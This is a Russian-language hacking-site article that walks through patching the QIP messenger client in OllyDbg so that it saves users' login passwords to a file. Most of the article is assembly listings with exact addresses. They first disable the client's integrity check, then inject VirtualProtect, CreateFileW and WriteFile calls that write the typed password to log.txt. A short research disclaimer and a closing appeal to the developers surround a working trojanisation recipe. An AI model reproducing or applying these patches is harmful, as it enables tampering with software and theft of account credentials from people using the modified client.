08.08.2025
| Главная | Поиск | Регистрация | Профиль | Вход | Выход |
Категории
Хакинг / Реверсинг [10]
Реклама
Реклама
Интересное
Главная » Статьи » Хакинг / Реверсинг » Хакинг / Реверсинг

Кладем QIP на лопатки. Операция «пароль в файл»
IM (Internet Messenger) клиенты очень прочно вошли в нашу жизнь. Что такое «ася» в курсе практически все, даже те, ко и Интернета-то в глаза не видел знают, что с помощью аси можно общаться :) Ну, собственно родным клиентом эта служба обмена мгновенными сообщениями уже давно не ограничена, есть много вариантов, при этом на любой вкус: QIP, Miranda, Pidgin, которым, к слову, пользуюсь я. Это далеко не все, а если учесть еще и мобильные платформы, то список будет достаточно большим.

Появились у протокола icq и конкуренты, ну а как же без этого :) Например, XMPP, или jabber (так он более известен в массах). Современные клиенты, особенно нейтральных производителей, которые не имеют никакого отношения к сервисам обмена сообщениями, поддерживают практически все известные протоколы – это необходимо для того, чтобы сделать клиент универсальным, а, значит, более востребованным.

Недавно разгребая свои залежи статей, без разбора скачанных из сети и наткнулся на интересный материал, а точнее – исследование, которое заключалось в том, чтобы сделать из популярного im клиента QIP шпионскую прогу. В общем, пробежавшись, глазами по материалу я подумал «отличная статья» и решил, что многим читателям КГ, особенно любящим поковыряться в коде – это будет интересно. Однако, сразу хочу предупредить – то, чем мы сегодня будем заниматься будет носить исключительно характер исследования. Если у кого-то из вас возникнет мысль сделать что-то плохое, то учтите, что это абсолютно противозаконно и за вами следят :)

Итак, смысл исследования заключается в том, чтобы сделать из qip’а шпиона – это я уже говорил. Каким образом он будет шпионить? Очень просто! Пароль, который вы введете в форму авторизации будет немедля сохранен в файл. И ваш аккаунт – уже выложен на каком-нибудь форуме в разделе icq халява. Шучу, однако опасность такая все же присутствует (брут никто не отменял =) ).

Не без сюрпризов

Вся операция будет производиться при помощи отладчика OllyDbg. В общем, берем qip открываем его под отладчиком и вперед. Сразу же нас ждет первый блин, который, естесно, комом. У клиента имеется защита, которая контролирует изменения в исполняемом файле. Чтобы получилось все нагляднее, то попробуйте изменить какую-либо инструкцию на nop, запустите клиент и перед вами будет неприятное сообщение на тему «файл поврежден». Нам, ясно дело, это не нужно, а посему мы должны избавиться от механизма защиты.

А все дело лежит по адресу 068F4BA. Точнее там имеется процедура проверки PE-файла на целостность, именно она и мешает нам спокойно извращаться над бедным квипом. Чтобы разобраться в работе процедуры, было включено пошаговое выполнение, которое привело нас на вот такой вот участок:

0048023F . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00480242 . 807D FB 00 CMP BYTE PTR SS:[EBP-5],0
00480246 74 0F JE SHORT qip_modi.00480257
00480248 E8 B740F8FF CALL qip_modi.00404304

Что проверяет механизм – загадка. Вот тут стоит отдать должное автору оригинала исследований, который нарыл все необходимое методом «научного тыка». Итак, если четыре раза нажать на во время прерывания на точке останова (которую, кстати, стоит поставить на 00480246), а перед пятым нажатием занопить вызов «CALL 00404304», программа запустится, однако, при условии, что после прохода номер пять мы снова восстановим вызов при помощи команды и контекстки «Undo Selection». Выполнение в отладчике довольно просто: меняем вызов на nop после четырех нажатий шифт+ф9, потом снова жмем это сочетание, после щелкаем правой клавишей мыши по вызову и выбираем «Undo Selection». Снимаем точку останова и запускаем файл на выполнение.

Теперь стоит вопрос в том, как научить программу считать количество запусков процедуры защиты. Конечно, можно сказать «проще простого» и написать длиннющий код со счетчиками и тому подобным добром :) А можно сделать действительно просто и обойтись меньшим объемом писанины. Во время каждого из вызовов содержимое регистров процессора уникально, а, значит, пишем функцию, которая проверяет регистр на соответствие определенному значению. И когда значение совпадает вырубаем защиту =)

Автор исследования воспользовался регистром EBX, в принципе, можно использовать любой другой. Его значение было равно 0064ED7C. Писать код будем начиная с адреса 0068F857. А вызов функции, располагающийся по адресу 00480248, меняем на безусловный переход к нашему заслонному диверсанту :)

00480248 jmp 0068f857

Обратите внимание, что следующая инструкции располагается по адресу 0048024D – это пригодится еще. Ну и наш диверсант, собственно:

0068F857 CMP EBX,0064ED7C; сравниваем содержимое ebx со значением, которое должно содержаться в нем перед пятым вызовом защитной функции
0068F85D JNZ 0068F864; если содержимое регистра не равно 0064ED7C, выполняем переход...
0068F85F JMP 0048024D; ...иначе - не выполняем функцию (передаем управление qip.exe)
0068F864 PUSH 0048024D; кладем в стек адрес возврата из функции...
0068F869 JMP 00404304; ...и выполняем эту функцию

Вот и все, теперь мо можем без проблем делать все, что душе угодно с клиентом :)

Немного о исполнителе

Возвращаемся к задаче записать пароль в файл при заполнении формы авторизации. Прямой путь нам в MSDN. Необходимо будет использовать две функции: создающую файл и записывающую в него информацию. Для создания файла воспользуемся функцией CreateFileW, ее параметры приведены ниже в том порядке, в котором они будут помещены нами в стек (т.е. в обратном):

hTemplateFile: файл-шаблон, атрибуты которого будут использоваться для открытия
Attributes – атрибуты и флаги для открытия файла
Mode; режим открытия файла
pSecurity; атрибуты безопасности
ShareMode; режим совместного доступа
Access; тип доступа к файлу
FileName; имя файла

Некоторые параметры можно будет и обнулить, но об этом позже. Для записи информации в файл воспользуемся функцией WriteFile, ее прототип:

BOOL WINAPI WriteFile(
__in HANDLE hFile,
__in LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);

И параметры:

hFile – дескриптор файла
Buffer – буфер, из которого будут записаны данные
nNumberOfBytesToRead – количество записываемых данных
lpNumberOfBytesRead – количество фактически записанных данных
lpOverlapped – указатель на структуру типа OVERLAPPED (обнуляем)

Код наш будет располагаться по адресу 0068F86E. При нажатии кнопки «Подключиться» выполняется определенный код, после выполнения которого пароль находится в стеке по адресу [ebp-8]:

00649A01 CALL qip.004678B4
00649A06 CMP DWORD PTR SS:[EBP-8],0
00649A0A JE SHORT 0649A2F

Код, расположенный после CALL, проверяет наличие символов в поле для вола пароля, там используется пару инструкций (cmp и je). Они не нужны нам и поэтому заменим их на переход к нашему коду:

00649A01 CALL qip_modi.004678B4
00649A06 JMP 0068F86E
00649A0B NOP

Процесс

Для наглядности исследование в оригинале было разбито на три этапа. Я, пожалуй, сделаю так же, это удобно и более конкретизировано. Мы же переходим к адресу 0068F86E и начинаем трудться над кодом.

1. Нам необходимо передать параметры для функции CreateFileW в стек и вызвать ее. Вызванная API возвратит в EAX хэндл открытого файла.

0068F86E > 6A 00 PUSH 0 ; /hTemplateFile = NULL
0068F870 . 68 80000000 PUSH 80 ; |Attributes = NORMAL
0068F875 . 6A 04 PUSH 4 ; |Mode = OPEN_ALWAYS
0068F877 . 6A 00 PUSH 0 ; |pSecurity = NULL
0068F879 . 6A 03 PUSH 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0068F87B . 68 000000C0 PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
0068F880 . 68 A7F86800 PUSH qip_modi.0068F8A7 ; |FileName = "log.txt"
0068F885 . E8 D60E187C CALL kernel32.CreateFileW ; \CreateFileW

2. В стек положим содержимое регистра EAX в качестве параметра для функции закрытия файла CloseHandle, которая будет использована в конце грязных делишек.

3. заключительная фаза включает в себя передачу в стек для функции WriteFile параметров и вызов функции. Однако, присутствует нюанс, который не позволит нам использовать стек в качестве буфера – ее вызов затирает часть данных, находящихся в нем. Поэтому вместо буфера у нас будет часть секции кода, которая начинается с 0068F8EB. Но так как секция кода защищена от записи, придется вызвать функцию VirtualProtect с параметром NewProtect = PAGE_EXECUTE_READWRITE. Вызов VirtualProtect, с передачей параметров, разместим по адресу 0068F8B7 (предварительно сохранив регистры при помощи PUSHAD). После чего при помощи набора инструкций MOV скопируем пароль, расположенный в стеке, в наш буфер – по адресу 0068F8EB. Вот такой вот вид все это имеет на выходе:

; передаем параметры для WriteFile и вызываем ее:
0068F88B PUSH 0 ; |/pOverlapped = NULL
0068F88D PUSH EBP ; ||pBytesWritten
0068F88E PUSH 10 ; ||nBytesToWrite = 10 (16.)
0068F890 PUSH qip_modi.0068F8EB; ||Buffer = qip_modi.0068F8EB
0068F895 PUSH EAX ; ||hFile
0068F896 CALL kernel32.WriteFile ; |\WriteFile
; вызываем CloseHandle для закрытия файла, хэндл файла мы передали выше при
; помощи инструкции "PUSH EAX", расположенной по адресу 0068F88A:
0068F89B CALL CloseHandle
; Восстанавливаем регистры, которые сохраним до вызова VirtualProtect чуть ниже:
0068F8A0 POPAD
; Переходим к коду qip.exe
0068F8A1 JMP qip_modi.00649A0B
; имя файла, которое использует функция CreateFileW:
0068F8A6 NOP
0068F8A7 UNICODE "log.txt",0
; сохраним регистры в стек:
0068F8B7 PUSHAD
; передадим необходимые параметры функции VirtualProtect и вызовем ее:
0068F8B8 PUSH 32F7D0 ; /pOldProtect = 0032F7D0
0068F8BD PUSH 40 ; |NewProtect = PAGE_EXECUTE_READWRITE
0068F8BF PUSH 0FF ; |Size = FF (255.)
0068F8C4 PUSH qip_modi.0068F8EB ; |Address = qip_modi.0068F8DD
0068F8C9 CALL kernel32.VirtualProtect ; \VirtualProtect
; В два подхода переместим восьмибайтовый пароль в новый буфер, начинающийся с адреса 0068F8EB:
; первый подход - забираем 4 байта...:
0068F8CE MOV ECX,DWORD PTR DS:[EBP-8]
0068F8D2 MOV EDX,DWORD PTR DS:[ECX]
0068F8D4 MOV ECX,qip_modi.0068F8EB
0068F8D9 MOV DWORD PTR DS:[ECX],EDX

;…и второй – забираем оставшиеся 4 байта:
0068F8DB MOV ECX,DWORD PTR DS:[EBP-8]
0068F8DF MOV EDX,DWORD PTR DS:[ECX+4]
0068F8E2 MOV ECX,qip_modi.0068F8EF
0068F8E7 MOV DWORD PTR DS:[ECX],EDX
; передаем управление чуть выше - в начало написанного нами кода, который создаст и сохранит лог-файл:
0068F8E9 JMP SHORT qip_modi.0068F86E

Ситуация немного изменилась. Раньше мы планировали передавать управление на наш код следующим образом:
00649A06 JMP 0068F86E

Теперь это невозможно, так как нам пришлось использовать дополнительный код в виде вызова VirtualProtect, который должен непременно выполняться раньше остального кода. Так что переходи к адресу 0068F8E9 и меняй расположенный там переход на:
00649A06 JMP 0068F8B7

Вот и все :) По итогу, создается файл, куда в результате работы всего написанного выше кладется пароль к аккаунту, запускаемому с данного клиента.

Exit

Что можно еще сказать… приятного мало. Только что я рассказал, как без особого напряжения украсть пароль к аккаунту icq, если немного модифицировать клиент qip, который в последнее время приобрел просто гиппер популярность. Хотелось бы обратиться к разработчика и настоятельно порекомендовать поправить косяк, хотя это до меня уже сделали.

Вам же, фанаты ИТ хочу сказать, что ошибочно полагать, что какой-либо другой клиент безопаснее qip’а, не известно, какие багги найдутся там завтра. Могу лишь посоветовать обзавестись небольшой долей параноидальности и тогда все будет не так уж и плохо =)

Respect: Леонид Cr@wler Исупов

Евгений Кучук
SASecurity gr.
q@sa-sec.org

Категория: Хакинг / Реверсинг | Добавил: MalCer (30.07.2009)
Просмотров: 490 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Реклама
Кабинет

Читать ЛС ()

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!



Фраза дня:
Кто с нами

Сегодня были:
Статистика
Партнеры
Graffiti Decorations(R) Studio (TM) Site Promoter Mnogo-softa.net.ru-Софт,срипты,шаблоны и др. MEGA-ToP-ТОП раскрутка раскрутка сайтов. Рейтинг лучших сайтов
описание